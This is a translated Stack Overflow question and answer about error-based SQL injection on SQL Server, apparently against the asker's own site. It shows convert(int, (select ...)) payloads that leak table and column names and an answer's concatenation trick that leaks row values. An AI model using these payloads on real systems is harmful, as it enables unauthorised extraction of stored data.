【问题标题】:nvarchar holding "integer" value - not reporting error while converting - SQL injectionnvarchar 持有“整数”值 - 转换时不报告错误 - SQL 注入
【发布时间】:2015-02-11 20:56:53
【问题描述】:

学习sql注入。我在我的网站上发现了一个 sql 注入。

我可以执行以下查询并检索表名和列名

表名:

convert(int,(select top 1 table_name from information_schema.tables))

列名:

convert(int,(select top 1 column_name from information_schema.columns where table_name='customer' and column name not in('id'))



> Table structure:
> 
> id nvarchar custid nvarchar

行:

id 监护人 --------- 1 1000 2 1001

我找到了表格的以下结构。

但现在我无法获取行中的值..

试过了:

convert(int,(select top 1 id from customer))--

在此查询中,它没有显示任何错误,我无法获取行值。

想法:

虽然“id”列类型是“nvarchar”,但它存储的是整数值,所以转换成int不会出错??

在这种情况下如何获取行的值??

【问题讨论】:

    标签: mysql sql sql-server sql-injection


    【解决方案1】:

    您可以连接一个非数字字符串,例如convert(int,(select top 1 'id:' + id from customer))--

    如果您要查找 int 字段中的内容,请将其转换为 varchar(10),然后与非数字字符串连接。

    但不要用它来作恶……

    【讨论】:

    • 我尝试了连接,但它确实有效.. 是的,我肯定不会用于邪恶目的..
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2022-01-08
    • 2014-10-13
    • 1970-01-01
    • 1970-01-01
    • 2015-06-06
    相关资源
    最近更新 更多